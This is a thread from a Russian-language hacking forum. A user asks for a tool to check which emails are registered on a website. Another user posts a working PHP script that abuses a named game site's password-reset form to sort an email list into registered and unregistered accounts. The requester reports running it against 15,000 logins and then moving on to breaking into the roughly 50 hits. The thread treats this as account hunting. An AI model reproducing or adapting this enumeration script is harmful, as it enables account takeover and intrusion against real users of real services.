• XSS.stack #1 – первый литературный журнал от юзеров форума

чекер майлов на сайте

abovemen

floppy-диск
Пользователь
Регистрация
07.05.2009
Сообщения
8
Реакции
0
Доброго времени суток...

Может кто подскажет... если чекер мыл на наличие регистрации на проверяемом сайте...

что то типо того... как забыли пасс... укажите мыло =) вот и нужен чекер который бы проверял ети мыла на наличие в базе сайта...

Хэлп плиз =(
 
что и не укого нет ни каких идей????


вообшем обресую подругому...

может кто встречал прогу или скрипт, которые бы выполняли проверку емайлов след образом:

еесть сайт на котором нам надо проверить есть ли заданые мыла в его базе или нет...
проверка осушествляеться банально... в ыорму вставляеться мыло... дальше да или нет... всмысли мыло такое на сайте зарегено или нет... реганые мыла попадают в good.txt не реганые в bad.txt.

вот собсна и все =)

Может кто поможет с написанием скрипта или проги???? буду оч презнателен =)
 
да подмного чего =)
например можно было бы и под это http://w2.dwar.ru/send_password.php

=) но это просто банальное начало... так сказать пример формы...


дааааа... с плошадкой будет проблема =( но думаю можно будет стонибудь придумать...
 
Форв кодел кодел и нокодел.
Сделал так, чтобы при переносе на другой сервис менять надо бы было по минимуму. Хотя кто его знает.
Итак мыла кидаешь в emails.txt
Дальше скрипт сам всё сделает)
В папке, где лежит скрипт,появятся файлы с соответств. мылами.
Единственное, что не стал пихать-проверку мыла на уникальность.

Не пинайте сильно, я ещё учусь)
Да, если кто-то из более серьёзных кодеров увидит сие творение, просьба откомментировать ошибки и прочее.

или прям тут:
Код:
<?php
	set_time_limit(0);
	error_reporting(6143);
	
	#configs
	
	$siteName="w2.dwar.ru";
	$pageName="send_password.php";
	$formName="form%5Bemail%5D=";
	
	$sourceName="emails.txt";
	$reggedName="regged.txt";
	$unreggedName="unregged.txt";
	$hzName="hz.txt";
	
	$reggedStr="Контро";
	$unreggedStr="e-mail не зар";
	
	$mailCount=0;
	$good=0;
	$bad=0;
	$hz=0;
	
	//удаляем старые файлы
	@unlink($reggedName);
	@unlink($unreggedName);
	@unlink($hzName);
	
	echo "<i>Start working...
";
	
	//открываем файл 
	$sourceFile=fopen($sourceName,"r");
	if(!$sourceFile)
  {
  	echo "Cant find source!";
  	die();
  }
  
	while(!feof($sourceFile))
  	{
    $email=fgets($sourceFile,50);
    if (strlen($email)>2)//проверка на то, ч
    {
    	$mailCount++;
    	//коннектимся
    	$connect=fsockopen($siteName,80,$errno,$errstr,15);
    	if($connect)
    	{
      //меняем все @ на %40
      $emaildat=$formName.str_replace("@","%40",$email);
      
      //готовим запрос
      $out ="POST /".$pageName." HTTP/1.1\r\n";
      $out.="Host: ".$siteName."\r\n";
      $out.="Referer: http://".$siteName."/".$pageName."\r\n";
      $out.="Connection: Close\r\n";
      $out.="Content-Length: ".strlen($emaildat)."\r\n";
      $out.="Content-Type: application/x-www-form-urlencoded\r\n\r\n";
      $out.=$emaildat;

      //echo $out."
";
      $req="";
      
      //отправляем запрос
      fwrite($connect,$out);
      //получаем ответ
      while (!feof($connect)) 
      	$req.=(fgets($connect, 128));


      //блок проверки ответа. если не зареганое и не реганое-кидаем в хз) иначе если не реганное, то в анрег. иначе в ок
      if (strpos($req,$reggedStr)===false && strpos($req,$unreggedStr)===false)
      	{
        $filePer=fopen($hzName,"a+");
        fwrite($filePer,$email."\n");
        $hz++;
        //echo "fuck!";
      	}
      else if (strpos($req,$reggedStr)===false)
      	{
        $filePer=fopen($unreggedName,"a+");
        fwrite($filePer,$email."\n");
        $bad++;
        //echo "ne ok";
      	}
      else
      	{
        $filePer=fopen($reggedName,"a+");
        fwrite($filePer,$email."\n");
        $good++;
        //echo "ok!";
      	}
      fclose($filePer);	
      fclose($connect);	
      sleep(1);
    	}
    	else
      echo "Cant connect
";
    }
  	}
	//выводим стату
	echo "Total   emails: ".$mailCount."
";
	echo "Regged  	accs: ".$good."
";
	echo "Unregged  accs: ".$bad."
";
	echo "Hz  	accs: ".$hz."
";
	echo "Done.</i>";

?>
 
Форв кодел кодел и нокодел.


Спасиба тебе FORVE =)

ток что то с форумом не то было... неуспел еше проверить.... :bang:
терь попытаюсь найти где скрипт выложить и опробую... потом отпишусь как прошло....

оч мнтерестный скриптик получаеться =)
 
Update =)

Наконецто я вернулся =)

Вообшем оскрипте... данный скрипт был поставлен на нормальный хост.. с открытыми соксами.. и хорошим каналом...

Были кое какие проблемы... точно не помню... но скрипт пришлось переписать ( небольшие изменения )... послечего скрипт удачно запахал...

5 минут и из 15000 логинов =) было отсартировано около 50... дальше была отдельная история со взломом етих логинов...

Вообшем скрипт рабочий и подходит для всех сервисов где требуеться проверить логины на валидность в базе данных... Удачной вам ловли =) :thumbsup:
 
был поставлен на нормальный хост..
можно адрес хоста, please
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх